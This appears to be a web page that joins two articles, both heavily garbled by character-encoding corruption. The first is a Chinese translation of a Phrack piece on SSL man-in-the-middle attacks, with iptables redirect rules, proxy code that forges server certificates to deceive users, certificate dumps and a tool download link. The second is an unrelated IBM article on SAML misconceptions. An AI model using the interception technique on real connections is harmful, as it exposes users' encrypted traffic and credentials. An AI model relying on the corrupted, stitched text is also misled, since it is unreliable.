http://www.linuxbyte.net/view.php?skin=art&ID=3320
?
SSLv3的当前版本是3.1版，也被UCؓTLS。它提供了一U机Ӟ在网l上q行安全的数据传输。它据说能够满所有的安全需要，比如Q你的银行帐L理?
但是在这里我告诉你Q这实际上是不可能的?
在本文中Q我首先对SSL做一些介l，q是非常重要的。不q，q里我们不会介绍诸如SSL是怎样实现q接的等深层问题Q如果有兴趣Q可以自己参考参考资料?
1.Z么用SSL
SSL是ؓ了实现网l数据传输中的如下目的设计的Q?
机密?
q是通过Ҏ据进行加密实现的Q在q行SSL握手ӞSSL选择一U对U算法对数据q行加密Q然后才在网l上传输数据。SSL使用的加密算法有好多U，如果某种法被新的网l攻L法识_它只要选择另外的算法就可以了?
消息的完整?
SSL使用一U很健壮的信息验证码(Message Authentication Code)Q例如：SHA-1Q验证码被放在数据包的后部，q且和数据一块被加密。这P如果数据被修改，其散列值就无法和原来的验证码匹配，从而能够检出数据是否被修攏VMAC同时也被用于保护SSLq接免受q扰?
保护数据免受重放d(replay-attack)
SSL使用序列h保护通讯方免受报文重放攻凅R这个序列号被加密后作ؓ数据包的负蝲。在整个SSL握手中中Q都有一个唯一的随机数来标记这个SSL握手Q这样重放便无机可乘?
免受recorderd(reorder-attack)
上面所说的序列号也可以防止d者记录数据包q以不同的次序发送?
端点验证
使用X509(当前版本?)证书QSSL支持客户和服务器的验证。关于服务器的连接，我们E后深入介l?
q听hg很安全，但是看了本文介绍的程序，就不这么想了?不过Q我们还不能打破客户端的验证)
使用本文介绍的攻L法，我们可以看到SSLq接上所有明文数据，Ҏ我们的需要修改传输的数据Q对数据q行中发送，以错误的ơ序发送甚至丢弃我们不需要的报文。这U攻L法就是所谓的途中人攻?man in the middle attackQ或者中间hd)?
2.X509数字证书
X509数字证书是SSL的一个组成部分。在SSL握手q程中，服务器向客户发送自q数字证书。一个X509数字证书包括发行者的识别?Distinguished Name)、主?Subject)的识别名、一个版本号和序列号、选择的算法、密钥的有效期时间窗Q还有主体的公钥?
M(subject)是这个证书包含实体的名，证书中的公钥属于M(Subject)。在q_的X509数字证书中，没有标志DNS名的域。通常QCN域被影射为DNS名，但是q只是一个客户和数字证书的实体必都认可的协议?
发行?issuer)是用自qU钥{֏q个数字证书。它叫做数字证书中心(Certificate Authority,CA)?
让我们看一个X509数字证书Q?
stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
Data:
Version: 1 (0x0)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=EU, ST=segfault, L=segfault,
O=www.segfault.net/Email=crew@segfault.net
Validity
Not Before: Nov 19 01:57:27 2000 GMT
Not After : Apr 5 01:57:27 2028 GMT
Subject: C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:cd:64:2a:97:26:7a:9b:5c:52:5e:9c:9e:b3:a2:
e5:f5:0f:99:08:57:1b:68:3c:dd:22:36:c9:01:05:
e1:e5:a4:40:5e:91:35:8e:da:8f:69:a5:62:cf:cd:
70:dc:ca:d2:d7:92:03:5c:39:2a:6d:02:68:91:b9:
0d:d1:2c:c7:88:cb:ad:be:cc:e2:fa:03:55:a1:25:
47:15:35:8c:d9:78:ef:9f:6a:f6:5f:e6:9a:02:12:
a3:c2:b8:6a:32:0f:1d:9d:7b:2f:65:90:4e:ca:f7:
a0:e4:ae:55:91:09:e4:6e:01:e3:d1:71:1e:60:b1:
83:88:8f:c4:6a:8c:bb:26:fd
Exponent: 65537 (0x10001)
Signature Algorithm: md5WithRSAEncryption
7d:c7:43:c3:71:02:c8:2f:8c:76:9c:f3:45:4c:cf:6d:21:5d:
e3:8f:af:8f:e0:2e:3a:c8:53:36:6b:cf:f6:27:01:f0:ed:ee:
42:78:20:3d:7f:e3:55:1f:8e:f2:a0:8e:1a:1b:e0:76:ad:3e:
a0:fc:5b:ce:a6:c4:32:7b:64:f2:a4:0f:a3:be:a1:0e:a7:ca:
ed:67:39:07:65:6b:cc:e7:5a:9a:b0:3a:f3:5c:1a:18:d4:dd:
8c:8d:5a:9e:a0:63:e0:7d:af:7c:97:7c:89:17:0f:25:2f:a7:
80:d3:02:dc:88:7a:12:64:ec:8a:ff:e4:62:92:2e:7f:75:03:
82:f1
要点Q?
Issuer: C=EU, ST=segfault, L=segfault,
O=www.segfault.net/Email=crew@segfault.net
C、ST、L、O和Email构成发行者的识别?distinguished name,DN)?
Subject:C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
证书可以׃个公开的CA{֏Q或者由自己{֏(是所谓的自签发证?。在q个例子中的证书是pq发的?
q是没有被拦截的原始数字证书。后面我们将看一下如果有人拦截连接看h会怎样?
当你的浏览器?A style="COLOR: #003793" target=_blank>https://segfault.net的连接时Q这个证书会在SSL握手期间q行交换。证书中保存的公钥就被用于会话的加密?
Zhpretty good层的安全性，证书应该׃个CA(你自己或者一个公开的CA){֏Q客hq个CA的公钥用于检查这个证书的合法性。如果客h有这个CA的公钥，览器就会提C用h受还是拒l这个证书。这对于交互式的客户E序是必ȝQ不q事实上对于太多的站点发行的证书Q客户ƈ没有他们的公钥来查证书的合法性。对于普通的交互式客L?例如QNetscape览?Q这U情况就可能造成使SSLq接失去意义?
3.拦截
lg所qͼX509数字证书是SSL的重要环节。它的Q务就是保证客户和服务器之间的会话Qƈ且它使用的密钥是正确的?
现在Q想象一下我们伪装一个证书，q对一个SSLq接q行转发会怎么栗?
q值得一试。我们的座右铭是“teile und herrscheQ哪国英文？Q”，q里我们必须解决两个问题Q?
a.劫持q接然后q行转发?
b.伪造一个数字证书，让客户以Z是和真正的服务器通讯?
a+b是通常所说的途中?man in the middleQ又可以叫做中间?d。从理论上X509应该能够Lq种dQ但是^常的交互式客L?例如QNetscape览?所采取的证书检查方式ɘq种d方式有机可乘?
W一个问题很好解冻I假设我们位于客户和服务器之间Q我们只要在我们的防火墙上略施小?最好是在Linux或者BSD?P)把连接重定向可以了Q另外我们把自己的程序称为mimd。对于Linux-2.2.x(ipchains)版本的内核，使用如下规则可以截获https包文Q把它们导入输入(input)?
ipchains -A input -s 0/0 -d 0/0 443 -j REDIRECT 10000 -p tcp
对于Linux-2.4.x内核(iptables)Q可以用如下规则：
iptables -t nat -A OUTPUT -p tcp --sport 1000:3000 -dport 443\
-j REDIRECT --to-port 10000
要给出SSL客户的源端口Q如果我们忽略了q一点，mimid׃q入一个无限的循环(iptables会重定向已l重定向的流?。mimd被绑定到8888端口Q它不匹配这条规则。你的物理位|不必位于SSLq接双方中间Q位于服务器局域网内或者客h局域网内就_了。用ARP可以很好地完成q个工作Q甚臌防火墙规则都不必修改?
有了q些重定向规则，我们可以着手徏立的工具了。目标地址可以使用操作pȝ的API扑ֈ(getsockopt())。这个工具中的NS_Socket::dstaddr()函数在绝大多数操作系l中都可以成功编译。用这个小E序Q我们可以看到通过q接的数据?
Z使这个小E序能够看到q接的明文数据，我们需要用SSL_accpet()和SSL_connect()调用。首先，我们需要调?accept()接受客户E序的连接，接着使用SSL_connect()向真正的服务器发赯接请求。然后，执行真正的SSL_accept()。假设我们已l完成了初始化内容，比如Q加载密钥文件等。这Ӟ在客LQ客L?例如Q浏览器)׃询问用户是否接受q个工具的证书?
但是Q用h然可以轻松认个证书是伪造的Q因Z在浏览A公司的网站时Q却收到B公司或者途中人的证书Q必然会引v他的怀疑?
下面我们会解决q个问题。SSL_connect()和SSL_accept()的顺序应该正，我将对其q行解释?
4.DCA
如果用户接受伪造的证书Q我们就可以使用SSL_read()dq接的明文数据，q用SSL_write()把它们{发到真正的服务器。现在我们就着手解军_何伪造证书的问题?
CQ在SSL_connect()要先于SSL_accept()调用Q这h务器可以把我们看做合法的用户Q和我们q行正常的SSL握手Q从而我们可以得到服务器的证书?
下面我们看一下实际的代码Q?
//dQ等待iptables劫持的连?
while ((afd = accept(sfd, (sockaddr*)&from, &socksize)) >= 0) {
// 获得q接真正?
// 目的地址
if (NS_Socket::dstaddr(afd, &dst) < 0) {
log(NS_Socket::why());
die(NULL);
}
...
++i;//一个全局变量记录被劫持连接的数量
if (fork() == 0) {//forkZ个进E，由子q程处理被劫持的q接Q父q程l箋{待q接
// 成ؓ真正目的服务器的客户
if ((sfd2 = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
log("main::socket");
die(NULL);
}
if (NS_Socket::bind_local(sfd2, 8888+i, 0) < 0) {
log(NS_Socket::why());
die(NULL);
}//把套接字l定到本地端口，可以同时处理多个q接
// 向真正的服务器发赯?
if (connect(sfd2, (struct sockaddr*)&dst,
sizeof(dst)) < 0) {
log("main::connect");
die(NULL);
}
...
client->start();
client->fileno(sfd2); // 使用sfd2和真正的服务器进行连?
// q行SSL握手以徏立SSLq接
if (client->connect() < 0) {
log("Clientside handshake failed. Aborting.");
die(NULL);
}
现在Q我们和真正服务器之间的SSL握手已经完成。注意，在源代码中，SSL_connect()和SSL_accept()两个函数都被装Cclient和server对象中。现在，我们可以准备自己作ؓSSL服务器和SSL客户之间的连接了Q?
// 服务器端
server->start(); // 建立SSL对象
server->fileno(afd); // 使用afd套接字接受客戯?
我们q行真正的伪造，调用SSL_accept()Q?
if (enable_dca)
NS_DCA::do_dca(client, server);
动态证书装?Dynamic Certificate Assembly)函数do_dca()q行如下工作Q?
l一个几乎是I白的证?除了C域之外，其它RDN全部为空)Qdo_dca()使用和服务器q行SSL握手获得的内容填充剩下的RDN域。我们抽取L、ST、O、CN、OU和EMAIL域，把它们放到我们自q证书Q然后把q个证书昄lSSL客户。ؓ了完成这个工作，do_dca()使用了字W串解析(抽取RDN?Qƈ调用OpenSSL提供的using X509_()函数?
在证书发行者的OU?OrganizationalUnitQ原来ؓI?我们填上一个空|q个I格不会在SSL客户E序的窗口中昄出来Q但是可以把伪造的新证书和来自公共CA的证书区别开。当q个伪造的证书到达SSL客户E序之后Q客L序就会提C用h否接收这个证书，用户看来q个证书来自一个已知的可信ȝCA(实际上，OU域多了一个空?PQ但是用L不出?Q而对于SSL客户E序来说Q它知道q个证书不是来自用户看到的CA(差一个空格呢:P)Q因此找不到q个CA的公钥，只好提示用户Q让用户定夺是否接受q个证书。这Ӟ被愚弄的用户一般会接受q个证书?
现在我们可以修改发行者的subject?CN...)Q把前面的X509证书变成自签?self-signed)证书。用h法知道自{֏证书是伪造的?
然后Q把被重新装配的证书昄l客P
// do SSL handshake as fake-server
if (server->accept() < 0) {
log("Serverside handshake failed. Aborting.");
die(NULL);
}
ssl_forward(client, server);
ssl_forward()函数只是循环调用SSL_read/SSL_write函数Q记录传输的明文数据。我们也可以随心所Ʋ地修改传递的数据?
下面在mimdȀzM?没有使用-I选项)Q我们用cf取回来自https服务器的X509证书Q?
stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=US, C=EU, ST=segfault, L=segfault,
O=www.segfault.net, OU= /Email=crew@segfault.net
Validity
Not Before: Mar 20 13:42:12 2001 GMT
Not After : Mar 20 13:42:12 2002 GMT
Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3:
e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51:
94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa:
0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b:
b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21:
94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55:
ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4:
b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36:
ca:c2:07:9d:ba:32:ff:d6:e7
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
X509v3 Authority Key Identifier:
keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
DirName:/C=US
serial:00
X509v3 Basic Constraints:
CA:TRUE
Signature Algorithm: md5WithRSAEncryption
b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0:
ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de:
86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de:
d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28:
8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa:
f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91:
e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a:
eb:f2
比较Ȁzmimd前后两个证书Q你可以发现两个证书的公钥是不同的，后面q个证书的公钥实际是mimd自己的公钥。C域包含US和EUQ这些信息会在Netscape览器中昄Q和原来的证书没有什么不同。注意到q个证书的OU域了吗？原来的证书ƈ没有q个域，而新的证书中q个域的是一个空根{新证书的发行者信息是来自原来的数字证书。这个证书不再是由某个公开CA{֏的，变成了一个自{֏(self-signed)的证书?
下面我们使用-I选项重新启动mimdQ这ơ我们用被截获证书的Subject来填充伪造证书的IssuerQ伪造证书变成自{֏证书?
stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=US, C=EU, ST=segfault, L=segfault,
O=www.segfault.net, OU= , CN=www.segfault.net/Email=crew@segfault.net
Validity
Not Before: Mar 20 13:42:12 2001 GMT
Not After : Mar 20 13:42:12 2002 GMT
Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3:
e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51:
94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa:
0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b:
b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21:
94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55:
ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4:
b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36:
ca:c2:07:9d:ba:32:ff:d6:e7
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
X509v3 Authority Key Identifier:
keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
DirName:/C=US
serial:00
X509v3 Basic Constraints:
CA:TRUE
Signature Algorithm: md5WithRSAEncryption
b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0:
ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de:
86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de:
d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28:
8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa:
f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91:
e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a:
eb:f2
比较q两个伪造的证书Q你会发现后面这个的Issuer中包含CN域，q是Z加强伪造的效果:P?
l论
lg所qͼ使用交互式客L序在|络上冲的用户无法知道遭到了途中人攻击，因ؓ他们无法分L公司使用未知的CA(company uses unknown CA)的提CZ息是真的q是自己遭到了途中人攻凅R而且Q即使他以前曄览q这个站点ƈ保存了它的数字证书，也仍然可能掉入圈?q记得OU域的I格吗？:P)。对于一些机警的用户Q把伪造的证书变成自签发证书将会打消他们的疑虑?
本文使用separate-ports的方式断开了SSLq接Q但是在一U情况下(upward negotiation)无法使用mimd。SSL使用一个关键词把前面的明文数据变成SSL数据传输。这个问题用MSG_PEEK可能可以解决Q他?作?正在研究?P
参?
[1] "SSL and TLS" Designing and Building Secure Systems
Eric Rescorla, AW 2001
A must-read if you want/need to know how SSL works.
[2] "Angewandte Kryptographie"
Bruce Schneier, AW 1996
THE book for crypto-geeks. I read the german version,
in english its Applied Cryptographie
[2] various openssl c-files and manpages
[3] http://www.cs.uni-potsdam.de/homepages/students/linuxer/sslmim.tar.gz
A DCA implementation, described in this article;
also contains cf tool.
[4] In case you cannot try mimd on your local box, view
a snapshot from a mim-ed session provided by TESO:
http://www.team-teso.net/ssl-security.png
原文来源QHaaaang on snoopy, snoopy hang on. (SSL for fun and profit) phrack Volume 0x0b, Issue 0x39
]]>
|
U别: 中 |
http://www-128.ibm.com/developerworks/cn/xml/x-samlmyth/
Frank Cohen
创始? PushToTest
2003 q?10 ?
2003 q初QOASIS 组批准了安全性断a标记语言QSecurity Assertion Markup LanguageQSAMLQ规范。由于来?25 家公司的 55 名专家参与了该规范的制定Q因此h们会认ؓ SAML 能做M事情Qƈ且能被很好地理解。但事实q如此QY件开发社区存在着很多?SAML 的误解。在本文中，Frank Cohen 详细说明q澄清了有关 SAML 的很多不实说法和误解?/BLOCKQUOTE>作ؓ一个新生事物，新的安全性断a标记语言QSAMLQ规范正在被Z拿来与现有的单点d技术、认证服务和目录服务q行比较。SAML 是第一个可能成为多个认证协议的规范以利?Web 基础l构Q在q种 Web 基础l构中，XML 数据?TCP/IP |络上通过 HTTP 协议传送）?/P>
OASIS 组开?SAML 的目的是作ؓ一U基?XML 的框Ӟ用于交换安全性信息。SAML 与其它安全性方法的最大区别在于它以有兛_个主体的断言的Ş式来表述安全性。其它方法用中央认证中心来发放证书Q这些证书保证了|络中从一点到另一点的安全通信。利?SAMLQ网l中的Q何点都可以断a它知道用h数据块的w䆾。然后由接收应用E序作出军_Q如果它信Q该断aQ则接受该用h数据块。Q何符?SAML 的Y件然后都可以断言对用h数据的认证。对于即出现的业务工作?Web 服务标准Q在该标准中Q安全的数据需要流l几个系l才能完成对事务的处理）而言Q这很重要?/P>
管 SAML 刚刚被批准没多久Q但是却有许多有?SAML 的不实说法和误解要澄清。我认ؓQ如果您真正了解了当今的某个新兴标准Q那么它肯定已经q时了?/P>
本文讨论了有?SAML 的一些比较常见的不实说法和误解?/P>
误解QSAML 是一个完整的w䆾理解决Ҏ?/SPAN>
SAML 作ؓw䆾理解决Ҏ中服务器之间的通信协议发挥了重要作用；但是QSAML q不是完整的解决Ҏ。在信息pȝ安全性领域，q来出现?w䆾理是一个新术语Q它늛了下面这些计领域：
- 准备QprovisioningQ?/B>?新用户dC业内部信息系l和外部合作伙伴信息pȝ的网l操作系l目录和应用E序服务器目录中?
- 密码理?使用戯够用一l凭证登录到公司的信息系l。此外，使用戯够自q理其密码、用户帐h据和Ҏ?
- 讉K控制?使系l能够识别用L的安全性策略。例如，某项安全性策略防止某个h更改他或她的职位Q但能将职位更改h发送给h相应权限的h?
SAML 是两台服务器需要共享认证信息时使用的协议规范。SAML 规范中没有Q何内Ҏ供了实际的认证服务，认证服务是由商业目录服务器提供的?/P>
不实说法Q企业之间的 Web 单点d很好理解q且易于实现?/SPAN>
SAML 是旨在减构建和操作信息pȝQ这些系l在许多服务提供者之间相互操作）所p成本的众多尝试之一。在当今竞争Ȁ烈且q速发展的环境中，出现了通过览器和支持 Web 的应用程序ؓ用户提供互操作性的企业联合。例如，旅游|站允许用户不必q行多次d卛_预订机票和租车。今天，一大群软g开发h员、QA 技术h员和 IT l理都需要处理复杂的和不可靠的后端系l，q些pȝ提供了企业之间的联合安全性?/P>在典型的支持 Web 的基l构中，q行业界领先的企业系l的软g需要处理权限服务器之间的浏览器重定向、服务器域之间的 HTTP post 命o、公钥基l构Qpublic key infrastructureQPKIQ加密和数字证书Q以及声明Q何给定用hl的信QU别的相互同意（mutually agreed-uponQ机制。SAML 向Y件开发h员展CZ如何表示用户、标识所需传送的数据Qƈ且定义了发送和接收权限数据的过E?/P>
不实说法QSAML 是一个复杂的设计?/SPAN>
SAML 为那些需要在 Web 基础l构QXML/HTTP/TCPQ上设计和构建可伸羃联合pȝ的系l架构设计师提供了一个蓝图。即使您军_不?SAMLQ但 SAML 规范q是回答了许多设计问题，q些问题是Q何系l架构设计师在构建可互操作的且支?Web 的系l时必须回答的?/P>作ؓ一个示例，误虑用来权限请求编码成 XML h?SAML 断言机制。SAML 定义了六c语句：
认证QAuthenticationQ：M已登录。例如，用于认证?SAML 断言看v来可能象下面q样Q?
fcohen@pushtotest.com logged in at 2003-02-06T19:22:09Z属性（AttributeQ：标识M的特性。例如，fcohen@pushtotest.com 拥有 Admin 角色?
权限军_QAuthorization decisionQ：声明允许某个MҎ个资源执行操作。例如，fcohen@pushtotest.com 被授?
GEThttp://www.pushtotest.com/ptt/kits/index.html?断言属性（Assertion attributeQ：一个可选机Ӟ使行业团体能够定义特定于其行业的属性?
此外QSAML 定义了由某个断言中的语句׃n的断a的属性，包括Q?/P>
版本属性（Version attributeQ：标识了断a所遵@?SAML 规范的主版本和次版本?
SAML q定义了可选的 条g元素以限制权限请求的有效性。例如，如果 SAML 标记
NotBefore?NotOnOrAfter指定的以 UTC ~码的日期，那么它可能是有效的?最后，SAML 定义了一?XML {QXML SignatureQ?/B>元素以标识认证中心。该元素可以包含一个带有公钥、到期日和用策略的 X509 证书。XML {q包含签名值本w，{值是p证中心ؓ元素内容生成的。可以?X509 证书中权威机构的公钥信息来验证签名。通常QSAML 的复杂性在于部|基?SAML 的YӞ以及讄公钥基础l构QPKIQ环境和数字证书?
误解QSAML 为大多数行业预定义了所有属性含义?/SPAN>
SAML q未ZQ何行业定义属性含义。而是定义了一个名U空间机Ӟ行业团体可以使用该名U空间机制来为其特定行业定义属性。例如，在航I业中QSAML 属?role:mechanic定义了飞机的机械师。系l两端的各方需要分别就 SAML 使用的名U空间达成一致?SAML 规范标识自己的名U空间来限定 SAML 属性和元素。例如，名称I间
"urn:oasis:names:tc:SAML:1.0:action:ghpp"定义?SAML 操作中用的 get/head/put/post http 操作。如果该 SAML 名称I间的格式看h有点古怪，那么q可能是因ؓ SAML 名称I间未遵?SOAP ?XML-RPC 中的传统 XML 名称I间格式QXML 名称I间?URIQSAML 使用 URI ?URN 变体Q而其它名U空间则使用 URL 变体?不实说法QSAML 是一个认证权威机构?/SPAN>
SAML 是一个在服务器之间用的认证 协议。您仍然需要能帮助您实际登录的某些东西。SAML 所能说的只是“您已经d了（you have logged inQ”。例如，?LDAP 服务器对一个用戯行认证时Q认证权威机构是 LDAP 服务??即 LDAP 服务器可能正在?SAML 来传送认证?在完整的认证pȝ中，您仍需要编写策略决{点Q以定用户是否可以讉K Web 面。此外，您还需要编写策略强制实施点Qenforcement pointQ。这是一个接收权限、检查角色和权限Q然后做出断a?servlet 或应用程序。有几家公司提供了商业策略决{点和策略强制实施点解决ҎQ这些公司包?Oblix、Netegrity、IBM 和许多其它公司?/P>
误解Q在认证需要传输大量数据的 Web 环境中，SAML 不能很好地工作?/SPAN>
当权限请求对?HTTP 重定向而言太长ӞSAML 定义了一U?助诊文gQartifactQ?/B>机制。SAML 助诊文g的长度ؓ 42 字节Q它包含一个类?代码 ?长度?20 个字节的源标识，以及长度?20 个字节的随机敎ͼ服务器用它来查找断言。源服务临时存储断言。目标站Ҏ收断aQ然后从源站点上的助诊文件直接抽出所需的数据。这允许两台不同的安全性服务器使用助诊文g?不实说法Q用重播技术可以轻易地ȝ SAML?/SPAN>
重播d是这样一cL击：它可以拦截有效的消息Q然后再该消息重播回服务。重播攻d用于造成数据完整性问题以及拒l服务攻凅R?SAML 提供了避免重播攻ȝ保护。SAML 要求在传输断a和消息时使用 SSL 加密Q以专门防止断言被拦截。此外，SAML 提供了数字签名机Ӟ该机制断言h有效旉范围Q以防止断言以后被重播?/P>
最后，助诊文g概要h其它两个重播对策Q?/P>
- SAML 源站点只断aq回l接收助诊文件的h者?
- SAML 源站点在W一ơ用助诊文件后会擦除其助诊文g到断a的映，从而得重播的助诊文g无效?
误解QSAML 定义了发现过E以查找认证权威机构?/SPAN>
SAML 未定义Q何机制来查找接受 SAML 断言的目标站炏V?/P>SAML 定义了一U用于认证的 推（pushQ?/B>机制Q用L录到源站点，然后该站点向目标站点发送一个断a。该q程需要源站点和目标站点之间进行数字签名。在 Web 环境中，览器将表单公布QpostQ到目标站点Qƈ且在一个隐藏的表单变量中包含一个用 Base64 ~码的签名和断言?
来?SAML 规范有可能包含发现机制?/P>
不实说法QSAML 不能处理匿名或访客（guestQ访问?/SPAN>
SAML 没有用于提供匿名认证的功能。请考虑q样一U方案，其中某个|站允许您用合作伙伴网站的功能Q但是不允许合作伙伴站点知道您是谁。SAML 未提供这L功能。让 SAML 处理匿名或访客访问是可能的，但是q要求参与的企业其自己的匿名访问或访客授权讉K的约定达成一致?/P>不实说法QSAML 要求在客h端和服务器端都有 SSL 证书?/SPAN>
SAML 构徏在需要公钥基l构QPKIQ的基础之上Q以提供数字{?SAML 断言的加密。所以，PKI h的不?SAML 全都有?/P>SAML 是最先需要U程度的l粒度安全性的协议中的一个；例如QXML 密钥理规范QXML Key Management SpecificationQXKMSQ提供的安全性将用于认证 SAML 断言。同Ӟ通过要求使用 HTTP Basic ?HTTP 客户机端认证?SSL 客户机端证书认证QSAML ?SAML 助诊文g提供了安全性。然后只助诊文件发送给期望的请求者，在检索到助诊文g后则删除它?/P>
误解QSAML 是雾ӞvaporwareQ指已宣布但q未实现Q；q没有h要实现它?/SPAN>
许多商业和开放源码品中已经提供?SAMLQ包括：
- IBM Tivoli Access Manager
- Oblix NetPoint
- SunONE Identity Server
- Baltimore, SelectAccess
- Entegrity Solutions AssureAccess
- Internet2 OpenSAML
- Netegrity SiteMinder
- Sigaba Secure Messaging Solutions
- RSA Security ClearTrust
- VeriSign Trust Integration Toolkit
- Entrust GetAccess 7
误解QMicrosoft 不支?SAML?/SPAN>
目前q不清楚 Microsoft 如何支?SAMLQ但?Microsoft ?OASIS 组正在q行大量工作Q以使得 SAML ?Microsoft 的倡议相协调。Microsoft 的^台和服务Q包?Microsoft .NET PassportQ将如何与那些实?Liberty Alliance ?OASIS WS-Security 目协议的服务相互操作，q需拭目以待。例如，?Passport 的专有系l不同，Liberty Alliance 认证规范使用 SAML 标记来交换认证标记。但是，q两U认证系l在标C一个站点传递到下一个站点的方式上有所不同?/P>Microsoft 已公开承诺?WS-Security 路线囑ַ作和 SAML 目合理化。他们似乎更侧重于以 WS-Security 作ؓ更通用?Web 服务安全性模型，该模型可以用现有的 IT 投资以及新兴标准Q如 SAML ?XrMLQ。Microsoft 正在?OASIS WS-Security 组通力合作Q以使用 SAML 断言作ؓ WS-Security 凭证。最q，OASIS WS-Security 组接受?SAML ?WS-Security l定?/P>
管 Microsoft ?OASIS WS-Security 组无控制力Q但 Chris Kaler 是该工作l的d之一Q同时也?Microsoft 员工。我认ؓQ如?Microsoft 对于?SAML 用于 Passport ?Liberty Alliance 只想得到形式上的认可Q那?Microsoft q不如向 ECMA 标准团体提供?/P>
误解QXML {中的规范化是不需要的?/SPAN>
q完全错了?/P>XML {是一U规范，旨在满?XML 文Q包?SAMLQ与数字{一起用的Ҏ需求。W3C ?XML {工作l正在开发一U?XML 语法Q以便于可以对几乎Q何内容进行签??XML 文、SOAP 消息头和 XML 元素Qƈ且提供用于创建和验证数字{的协议和q程?/P>
XML {中的规范化是允许在多个服务之间进行认证所必需的。例如，误虑当您通过览器界面从刉商那里购买个h计算机时Q服务器端所发生的情形。多个服务处理订单的不同部分Q一个服务提供搜索功能以扑ֈ您希望订购的产品Q下一个是开帐单服务Q它获取您的支付信息Q最后一个服务获取装q信息。这三个pȝ使用 SAML 断言׃n您的记录。规范化保了您记录中的字节序保持相同Q即使三个不同系l正在操作该记录也是如此。如果没有规范化Q那么该记录可能会发生变化q XML {无效Q因?XML {的Q务是保其签名的内容是完好无损的Qƈ且字节顺序是相同的?/P>
l束?/SPAN>
׃许多致力于安全性的公司已经提供了上市的产品Q因?SAML 有一个良好的L。SAML 规范为在一l联合服务中设计支持 Web 的、单点登录的服务提供了良好的框架。SAML 规范工作l的工作q在l箋Q以使得 SAML 和其它新兴标准（包括 WS-SecurityQ之间的互操作性需求合理化?/P>作者感?Charles KnouseQOblix 的首席Y件工E师Q和软g开发论坛（Software Development ForumQwww.sdforum.orgQ的 Web 服务特别兴趣l（Web Services Special Interest GroupQ，感谢他们为研I本文所提供的帮助?/I>
- 您可以参阅本文在 developerWorks 全球站点上的 英文原文.
- 请在 OASIS 联盟站点上阅?SAML 规范?
- h?Murdoch Mactaggart ?developerWorks文章 Enabling XML securityQ这文章非常出色地介绍?XML 加密?XML {Q?001 q?9 月）?
